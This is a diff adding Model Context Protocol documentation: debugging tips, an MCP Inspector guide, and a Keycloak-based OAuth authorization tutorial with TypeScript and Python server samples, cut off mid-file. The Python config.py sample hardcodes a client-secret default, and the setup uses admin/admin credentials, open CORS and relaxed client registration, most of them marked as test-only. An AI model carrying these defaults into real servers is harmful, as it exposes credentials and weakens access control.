+1. Initial Development
+ * Use [Inspector](/docs/2025-03-26/tools/inspector) for basic testing
+ * Implement core functionality
+ * Add logging points
+
+2. Integration Testing
+ * Test in your target MCP client
+ * Monitor logs
+ * Check error handling
+
+### Testing changes
+
+To test changes efficiently:
+
+* **Configuration changes**: Restart the MCP client
+* **Server code changes**: Restart the client (for Claude Desktop, fully quit
+ and reopen; closing the window is not enough)
+* **Quick iteration**: Use [Inspector](/docs/2025-03-26/tools/inspector) during
+ development
+
+## Best practices
+
+### Logging strategy
+
+1. **Structured Logging**
+ * Use consistent formats
+ * Include context
+ * Add timestamps
+ * Track request IDs
+
+2. **Error Handling**
+ * Log stack traces
+ * Include error context
+ * Track error patterns
+ * Monitor recovery
+
+3. **Performance Tracking**
+ * Log operation timing
+ * Monitor resource usage
+ * Track message sizes
+ * Measure latency
+
+### Security considerations
+
+When debugging:
+
+1. **Sensitive Data**
+ * Sanitize logs
+ * Protect credentials
+ * Mask personal information
+
+2. **Access Control**
+ * Verify permissions
+ * Check authentication
+ * Monitor access patterns
+
+For a full treatment of MCP attack vectors and mitigations, see
+[Security Best Practices](/docs/2025-03-26/tutorials/security/security_best_practices).
+
+## Getting help
+
+When encountering issues:
+
+1. **First Steps**
+ * Check server logs
+ * Test with [Inspector](/docs/2025-03-26/tools/inspector)
+ * Review configuration
+ * Verify environment
+
+2. **Support Channels**
+ * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
+ * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
+
+3. **Providing Information**
+ * Log excerpts
+ * Configuration files
+ * Steps to reproduce
+ * Environment details
+
+## Next steps
+
+
+
+ Learn to use the MCP Inspector
+
+
+
+ Walk through building a server from scratch
+
+
+
+ Full claude\_desktop\_config.json reference and troubleshooting
+
+
diff --git a/content/mcp/docs/2025-03-26/tools/inspector.md b/content/mcp/docs/2025-03-26/tools/inspector.md
new file mode 100644
index 000000000..d22e3eb5a
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/tools/inspector.md
@@ -0,0 +1,144 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# MCP Inspector
+
+> In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/2025-03-26/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities.
+
+## Getting started
+
+### Installation and basic usage
+
+The Inspector runs directly through `npx` without requiring installation:
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+#### Inspecting servers from npm or PyPI
+
+A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org).
+
+
+
+ ```bash theme={null}
+ npx -y @modelcontextprotocol/inspector npx
+ # For example
+ npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector uvx
+ # For example
+ npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
+ ```
+
+
+
+#### Inspecting locally developed servers
+
+To inspect servers locally developed or downloaded as a repository, the most common
+way is:
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector node path/to/server/index.js args...
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector \
+ uv \
+ --directory path/to/server \
+ run \
+ package-name \
+ args...
+ ```
+
+
+
+Please carefully read any attached README for the most accurate instructions.
+
+## Feature overview
+
+
+
+
+
+The Inspector provides several features for interacting with your MCP server:
+
+### Server connection pane
+
+* Allows selecting the [transport](/specification/2025-03-26/basic/transports) for connecting to the server
+* For local servers, supports customizing the command-line arguments and environment
+
+### Resources tab
+
+* Lists all available resources
+* Shows resource metadata (MIME types, descriptions)
+* Allows resource content inspection
+* Supports subscription testing
+
+### Prompts tab
+
+* Displays available prompt templates
+* Shows prompt arguments and descriptions
+* Enables prompt testing with custom arguments
+* Previews generated messages
+
+### Tools tab
+
+* Lists available tools
+* Shows tool schemas and descriptions
+* Enables tool testing with custom inputs
+* Displays tool execution results
+
+### Notifications pane
+
+* Presents all logs recorded from the server
+* Shows notifications received from the server
+
+## Best practices
+
+### Development workflow
+
+1. Start Development
+ * Launch Inspector with your server
+ * Verify basic connectivity
+ * Check capability negotiation
+
+2. Iterative testing
+ * Make server changes
+ * Rebuild the server
+ * Reconnect the Inspector
+ * Test affected features
+ * Monitor messages
+
+3. Test edge cases
+ * Invalid inputs
+ * Missing prompt arguments
+ * Concurrent operations
+ * Verify error handling and error responses
+
+## Next steps
+
+
+
+ Check out the MCP Inspector source code
+
+
+
+ Learn about broader debugging strategies
+
+
diff --git a/content/mcp/docs/2025-03-26/tutorials/security/authorization.md b/content/mcp/docs/2025-03-26/tutorials/security/authorization.md
new file mode 100644
index 000000000..b4a88f356
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/tutorials/security/authorization.md
@@ -0,0 +1,1061 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding Authorization in MCP
+
+> Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
+
+Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
+
+MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/2025-03-26/basic/authorization).
+
+## When Should You Use Authorization?
+
+While authorization for MCP servers is **optional**, it is strongly recommended when:
+
+* Your server accesses user-specific data (emails, documents, databases)
+* You need to audit who performed which actions
+* Your server grants access to its APIs that require user consent
+* You're building for enterprise environments with strict access controls
+* You want to implement rate limiting or usage tracking per user
+
+
+ **Authorization for Local MCP Servers**
+
+ For MCP servers using the [STDIO transport](/specification/2025-03-26/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
+
+ OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
+
+
+## The Authorization Flow: Step by Step
+
+Let's walk through what happens when a client wants to connect to your protected MCP server:
+
+
+
+ When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
+
+ ```http theme={null}
+ HTTP/1.1 401 Unauthorized
+ WWW-Authenticate: Bearer realm="mcp",
+ resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
+ ```
+
+ This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
+
+
+
+ With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
+
+ ```json theme={null}
+ {
+ "resource": "https://your-server.com/mcp",
+ "authorization_servers": ["https://auth.your-server.com"],
+ "scopes_supported": ["mcp:tools", "mcp:resources"]
+ }
+ ```
+
+ You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
+
+
+
+ Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
+
+ With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
+ and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
+
+ ```json theme={null}
+ {
+ "issuer": "https://auth.your-server.com",
+ "authorization_endpoint": "https://auth.your-server.com/authorize",
+ "token_endpoint": "https://auth.your-server.com/token",
+ "registration_endpoint": "https://auth.your-server.com/register"
+ }
+ ```
+
+
+
+ With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
+
+ First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
+
+ Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
+
+ ```json theme={null}
+ {
+ "client_name": "My MCP Client",
+ "redirect_uris": ["http://localhost:3000/callback"],
+ "grant_types": ["authorization_code", "refresh_token"],
+ "response_types": ["code"]
+ }
+ ```
+
+ If the registration succeeds, the authorization server will return a JSON blob with client registration information.
+
+
+ **No DCR or Pre-Registration**
+
+ In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
+
+
+
+
+ The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
+
+ ```json theme={null}
+ {
+ "access_token": "eyJhbGciOiJSUzI1NiIs...",
+ "refresh_token": "def502...",
+ "token_type": "Bearer",
+ "expires_in": 3600
+ }
+ ```
+
+ The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
+
+
+
+ Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
+
+ ```http theme={null}
+ GET /mcp HTTP/1.1
+ Host: your-server.com
+ Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
+ ```
+
+ The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
+
+
+
+## Implementation Example
+
+To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
+
+Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
+
+### Keycloak Setup
+
+From your terminal application, run the following command to start the Keycloak container:
+
+```bash theme={null}
+docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
+```
+
+This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
+
+
+ **Not for Production**
+
+ The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
+
+
+You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
+
+
+
+
+
+When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
+
+```http theme={null}
+http://localhost:8080/realms/master/.well-known/openid-configuration
+```
+
+We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
+
+Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
+
+
+
+
+
+After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
+
+Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
+
+To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
+
+
+
+
+
+For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
+
+
+ **Not for Production**
+
+ The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
+
+
+Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
+
+
+
+
+
+
+ **Getting the Host**
+
+ If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
+
+
+Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
+
+1. Go to **Clients**.
+2. Click **Create client**.
+3. Give your client a unique **Client ID** and click **Next**.
+4. Enable **Client authentication** and click **Next**.
+5. Click **Save**.
+
+Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
+
+When you open the client details, go to **Credentials** and take note of the **Client Secret**.
+
+
+
+
+
+
+ **Handling Secrets**
+
+ Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
+
+
+With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
+
+```text theme={null}
+eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
+```
+
+Decoded, it will look like this:
+
+```json theme={null}
+{
+ "alg": "RS256",
+ "typ": "JWT",
+ "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
+}.{
+ "exp": 1755540817,
+ "iat": 1755540757,
+ "auth_time": 1755538888,
+ "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
+ "iss": "http://localhost:8080/realms/master",
+ "aud": "http://localhost:3000",
+ "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
+ "typ": "Bearer",
+ "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
+ "sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
+ "scope": "mcp:tools"
+}.[Signature]
+```
+
+
+ **Embedded Audience**
+
+ Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
+
+
+### MCP Server Setup
+
+We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/2025-03-26/sdk).
+
+For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
+
+
+
+ You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
+
+ Prior to running the code below, ensure that you have a `.env` file with the following content:
+
+ ```env theme={null}
+ # Server host/port
+ HOST=localhost
+ PORT=3000
+
+ # Auth server location
+ AUTH_HOST=localhost
+ AUTH_PORT=8080
+ AUTH_REALM=master
+
+ # Keycloak OAuth client credentials
+ OAUTH_CLIENT_ID=
+ OAUTH_CLIENT_SECRET=
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
+
+ In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
+
+ ```typescript theme={null}
+ import "dotenv/config";
+ import express from "express";
+ import { randomUUID } from "node:crypto";
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
+ import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
+ import { z } from "zod";
+ import cors from "cors";
+ import {
+ mcpAuthMetadataRouter,
+ getOAuthProtectedResourceMetadataUrl,
+ } from "@modelcontextprotocol/sdk/server/auth/router.js";
+ import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
+ import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
+ import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
+ const CONFIG = {
+ host: process.env.HOST || "localhost",
+ port: Number(process.env.PORT) || 3000,
+ auth: {
+ host: process.env.AUTH_HOST || process.env.HOST || "localhost",
+ port: Number(process.env.AUTH_PORT) || 8080,
+ realm: process.env.AUTH_REALM || "master",
+ clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
+ clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
+ },
+ };
+
+ function createOAuthUrls() {
+ const authBaseUrl = new URL(
+ `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
+ );
+ return {
+ issuer: authBaseUrl.toString(),
+ introspection_endpoint: new URL(
+ "protocol/openid-connect/token/introspect",
+ authBaseUrl,
+ ).toString(),
+ authorization_endpoint: new URL(
+ "protocol/openid-connect/auth",
+ authBaseUrl,
+ ).toString(),
+ token_endpoint: new URL(
+ "protocol/openid-connect/token",
+ authBaseUrl,
+ ).toString(),
+ };
+ }
+
+ function createRequestLogger() {
+ return (req: any, res: any, next: any) => {
+ const start = Date.now();
+ res.on("finish", () => {
+ const ms = Date.now() - start;
+ console.log(
+ `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
+ );
+ });
+ next();
+ };
+ }
+
+ const app = express();
+
+ app.use(
+ express.json({
+ verify: (req: any, _res, buf) => {
+ req.rawBody = buf?.toString() ?? "";
+ },
+ }),
+ );
+
+ app.use(
+ cors({
+ origin: "*",
+ exposedHeaders: ["Mcp-Session-Id"],
+ }),
+ );
+
+ app.use(createRequestLogger());
+
+ const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
+ const oauthUrls = createOAuthUrls();
+
+ const oauthMetadata: OAuthMetadata = {
+ ...oauthUrls,
+ response_types_supported: ["code"],
+ };
+
+ const tokenVerifier = {
+ verifyAccessToken: async (token: string) => {
+ const endpoint = oauthMetadata.introspection_endpoint;
+
+ if (!endpoint) {
+ console.error("[auth] no introspection endpoint in metadata");
+ throw new Error("No token verification endpoint available in metadata");
+ }
+
+ const params = new URLSearchParams({
+ token: token,
+ client_id: CONFIG.auth.clientId,
+ });
+
+ if (CONFIG.auth.clientSecret) {
+ params.set("client_secret", CONFIG.auth.clientSecret);
+ }
+
+ let response: Response;
+ try {
+ response = await fetch(endpoint, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: params.toString(),
+ });
+ } catch (e) {
+ console.error("[auth] introspection fetch threw", e);
+ throw e;
+ }
+
+ if (!response.ok) {
+ const txt = await response.text();
+ console.error("[auth] introspection non-OK", { status: response.status });
+
+ try {
+ const obj = JSON.parse(txt);
+ console.log(JSON.stringify(obj, null, 2));
+ } catch {
+ console.error(txt);
+ }
+ throw new Error(`Invalid or expired token: ${txt}`);
+ }
+
+ let data: any;
+ try {
+ data = await response.json();
+ } catch (e) {
+ const txt = await response.text();
+ console.error("[auth] failed to parse introspection JSON", {
+ error: String(e),
+ body: txt,
+ });
+ throw e;
+ }
+
+ if (data.active === false) {
+ throw new Error("Inactive token");
+ }
+
+ if (!data.aud) {
+ throw new Error("Resource indicator (aud) missing");
+ }
+
+ const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
+ const allowed = audiences.some((a) =>
+ checkResourceAllowed({
+ requestedResource: a,
+ configuredResource: mcpServerUrl,
+ }),
+ );
+ if (!allowed) {
+ throw new Error(
+ `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
+ );
+ }
+
+ return {
+ token,
+ clientId: data.client_id,
+ scopes: data.scope ? data.scope.split(" ") : [],
+ expiresAt: data.exp,
+ };
+ },
+ };
+ app.use(
+ mcpAuthMetadataRouter({
+ oauthMetadata,
+ resourceServerUrl: mcpServerUrl,
+ scopesSupported: ["mcp:tools"],
+ resourceName: "MCP Demo Server",
+ }),
+ );
+
+ const authMiddleware = requireBearerAuth({
+ verifier: tokenVerifier,
+ requiredScopes: [],
+ resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
+ });
+
+ const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
+
+ function createMcpServer() {
+ const server = new McpServer({
+ name: "example-server",
+ version: "1.0.0",
+ });
+
+ server.registerTool(
+ "add",
+ {
+ title: "Addition Tool",
+ description: "Add two numbers together",
+ inputSchema: {
+ a: z.number().describe("First number to add"),
+ b: z.number().describe("Second number to add"),
+ },
+ },
+ async ({ a, b }) => ({
+ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
+ }),
+ );
+
+ server.registerTool(
+ "multiply",
+ {
+ title: "Multiplication Tool",
+ description: "Multiply two numbers together",
+ inputSchema: {
+ x: z.number().describe("First number to multiply"),
+ y: z.number().describe("Second number to multiply"),
+ },
+ },
+ async ({ x, y }) => ({
+ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
+ }),
+ );
+
+ return server;
+ }
+
+ const mcpPostHandler = async (req: express.Request, res: express.Response) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ let transport: StreamableHTTPServerTransport;
+
+ if (sessionId && transports[sessionId]) {
+ transport = transports[sessionId];
+ } else if (!sessionId && isInitializeRequest(req.body)) {
+ transport = new StreamableHTTPServerTransport({
+ sessionIdGenerator: () => randomUUID(),
+ onsessioninitialized: (sessionId) => {
+ transports[sessionId] = transport;
+ },
+ });
+
+ transport.onclose = () => {
+ if (transport.sessionId) {
+ delete transports[transport.sessionId];
+ }
+ };
+
+ const server = createMcpServer();
+ await server.connect(transport);
+ } else {
+ res.status(400).json({
+ jsonrpc: "2.0",
+ error: {
+ code: -32000,
+ message: "Bad Request: No valid session ID provided",
+ },
+ id: null,
+ });
+ return;
+ }
+
+ await transport.handleRequest(req, res, req.body);
+ };
+
+ const handleSessionRequest = async (
+ req: express.Request,
+ res: express.Response,
+ ) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ if (!sessionId || !transports[sessionId]) {
+ res.status(400).send("Invalid or missing session ID");
+ return;
+ }
+
+ const transport = transports[sessionId];
+ await transport.handleRequest(req, res);
+ };
+
+ app.post("/", authMiddleware, mcpPostHandler);
+ app.get("/", authMiddleware, handleSessionRequest);
+ app.delete("/", authMiddleware, handleSessionRequest);
+
+ app.listen(CONFIG.port, CONFIG.host, () => {
+ console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
+ console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
+ console.log(
+ `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
+ );
+ });
+ ```
+
+ When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
+
+ For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
+
+
+
+ You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
+
+ To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome). Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
+
+ Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
+
+ ```python theme={null}
+ """Configuration settings for the MCP auth server."""
+
+ import os
+ from typing import Optional
+
+
+ class Config:
+ """Configuration class that loads from environment variables with sensible defaults."""
+
+ # Server settings
+ HOST: str = os.getenv("HOST", "localhost")
+ PORT: int = int(os.getenv("PORT", "3000"))
+
+ # Auth server settings
+ AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
+ AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
+ AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
+
+ # OAuth client settings
+ OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server")
+ OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB")
+
+ # Server settings
+ MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
+ OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes")
+ TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http")
+
+ @property
+ def server_url(self) -> str:
+ """Build the server URL."""
+ return f"http://{self.HOST}:{self.PORT}"
+
+ @property
+ def auth_base_url(self) -> str:
+ """Build the auth server base URL."""
+ return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
+
+ def validate(self) -> None:
+ """Validate configuration."""
+ if self.TRANSPORT not in ["sse", "streamable-http"]:
+ raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'")
+
+
+ # Global configuration instance
+ config = Config()
+
+ ```
+
+ The server implementation is as follows:
+
+ ```python theme={null}
+ import datetime
+ import logging
+ from typing import Any
+
+ from pydantic import AnyHttpUrl
+
+ from mcp.server.auth.settings import AuthSettings
+ from mcp.server.fastmcp.server import FastMCP
+
+ from .config import config
+ from .token_verifier import IntrospectionTokenVerifier
+
+ logger = logging.getLogger(__name__)
+
+
+ def create_oauth_urls() -> dict[str, str]:
+ """Create OAuth URLs based on configuration (Keycloak-style)."""
+ from urllib.parse import urljoin
+
+ auth_base_url = config.auth_base_url
+
+ return {
+ "issuer": auth_base_url,
+ "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
+ "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
+ "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
+ }
+
+
+ def create_server() -> FastMCP:
+ """Create and configure the FastMCP server."""
+
+ config.validate()
+
+ oauth_urls = create_oauth_urls()
+
+ token_verifier = IntrospectionTokenVerifier(
+ introspection_endpoint=oauth_urls["introspection_endpoint"],
+ server_url=config.server_url,
+ client_id=config.OAUTH_CLIENT_ID,
+ client_secret=config.OAUTH_CLIENT_SECRET,
+ )
+
+ app = FastMCP(
+ name="MCP Resource Server",
+ instructions="Resource Server that validates tokens via Authorization Server introspection",
+ host=config.HOST,
+ port=config.PORT,
+ debug=True,
+ streamable_http_path="/",
+ token_verifier=token_verifier,
+ auth=AuthSettings(
+ issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
+ required_scopes=[config.MCP_SCOPE],
+ resource_server_url=AnyHttpUrl(config.server_url),
+ ),
+ )
+
+ @app.tool()
+ async def add_numbers(a: float, b: float) -> dict[str, Any]:
+ """
+ Add two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ a: The first number to add
+ b: The second number to add
+ """
+ result = a + b
+ return {
+ "operation": "addition",
+ "operand_a": a,
+ "operand_b": b,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ @app.tool()
+ async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
+ """
+ Multiply two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ x: The first number to multiply
+ y: The second number to multiply
+ """
+ result = x * y
+ return {
+ "operation": "multiplication",
+ "operand_x": x,
+ "operand_y": y,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ return app
+
+
+ def main() -> int:
+ """
+ Run the MCP Resource Server.
+
+ This server:
